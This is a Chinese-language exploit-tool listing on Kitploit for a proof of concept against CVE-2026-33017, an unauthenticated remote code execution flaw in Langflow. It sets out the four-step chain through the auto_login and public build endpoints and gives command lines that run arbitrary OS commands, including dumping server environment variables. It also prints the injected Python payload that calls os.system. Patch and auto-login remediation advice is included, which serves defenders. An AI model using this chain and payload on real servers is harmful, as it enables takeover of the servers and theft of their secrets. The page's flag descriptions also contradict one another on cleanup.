Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33017-langflow-rce — 针对CVE-2026-33017的概念验证利用,演示了通过公共构建端点注入恶意CustomComponent,在Langflow中实现未认证远程代码执行。 | Kitploit
工具/GitHubGitHub/r3nsi15/cve-2026-33017-langflow-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队Payload 开发
GitHubr3nsi15/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

针对CVE-2026-33017的概念验证利用,演示了通过公共构建端点注入恶意CustomComponent,在Langflow中实现未认证远程代码执行。

查看仓库
33个月前尚未审核
分享

CVE-2026-33017 — Langflow 未认证远程代码执行(RCE)

概述

CVE ID: CVE-2026-33017
受影响软件: Langflow 受影响版本: <= 1.8.2 修复版本: >= 1.9.0 严重性: 严重
作者: r3nsi15
日期: 2026

描述

Langflow 暴露了一个公开的流程构建端点(/api/v1/build_public_tmp/{flowID}/flow),该端点接受任意 CustomComponent 代码块并在服务器端无需认证即可执行。通过将恶意 Python 载荷注入到 CustomComponent 节点的 code 字段,未经认证的攻击者可以以 Langflow 服务器进程的权限运行任意操作系统命令。

攻击链首先滥用 /api/v1/auto_login 端点,该端点在 Langflow 运行于默认自动登录配置时,无需凭据即可签发 Bearer 令牌。然后利用该令牌创建临时公开流程,并通过构建端点触发服务器端代码执行。

受影响端点

端点方法需要认证用途
/api/v1/auto_loginGET否获取 Bearer 令牌(需启用自动登录)
/api/v1/flows/POST是(Bearer)创建新流程
/api/v1/build_public_tmp/{flowID}/flowPOST否(公开)触发构建 — 漏洞执行点
/api/v1/flows/{flowID}DELETE是(Bearer)清理创建的流程

概念验证

文件: CVE-2026-33017_POC.py

要求

  • Python 3.x
  • requests 库
  • 能够访问运行了自动登录的 Langflow 实例的网络
root@kitploit:~
pip install requests

用法

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <目标URL> -c <命令> [-d]

参数

标志长格式必需描述
-u--url是Langflow 实例的基础 URL
-c--command是在服务器上执行的 OS 命令
-d--delete否利用后删除创建的流程

示例

验证代码执行:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

获取服务器环境变量:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

利用后保持流程存活(跳过清理):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

预期输出

root@kitploit:~
[+] 获取令牌成功
[+] 已创建流程,ID: <id>
[+] 漏洞利用成功发送!
[+] 已成功删除流程!

载荷分解

该利用将以下 Python 代码片段注入到 CustomComponent 节点的 code 字段中:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - 动态导入 os 模块并在服务器上执行攻击者提供的 shell 命令。
  • 类定义的其余部分是有效的 CustomComponent,需要满足 Langflow 的组件加载器而不引发解析错误。
  • 该流程创建为 PUBLIC 并在其公开端点上调用构建端点,这意味着不需要会话 cookie 或认证令牌即可触发执行。

根因

Langflow 的 CustomComponent 系统允许将任意 Python 代码作为流程定义的一部分提交。/api/v1/build_public_tmp/{flowID}/flow 端点会在服务器端构建并部分评估这些代码,包括模块级语句,而没有进行沙箱化或限制对 Python 内建函数(如 __import__)的访问。

攻击链总结

root@kitploit:~
1. GET /api/v1/auto_login          →  获取 Bearer 令牌(无需凭据)
2. POST /api/v1/flows/             →  创建 PUBLIC 流程(需要 Bearer 令牌)
3. POST /api/v1/build_public_tmp/  →  注入并执行恶意 CustomComponent(无需认证)
4. DELETE /api/v1/flows/{id}       →  清理(可选)

所有四个步骤均可在默认的 Langflow 部署中由匿名攻击者执行。

补救措施

  • 升级 Langflow 至 1.9.0 或更高版本。
  • 禁用自动登录(LANGFLOW_AUTO_LOGIN=false)在任何面向互联网的部署中。

免责声明

此概念验证仅供教育和授权的安全研究目的使用。在未经明确书面许可的情况下对系统使用此脚本是非法且不道德的。作者和贡献者对滥用不承担任何责任。

下载工具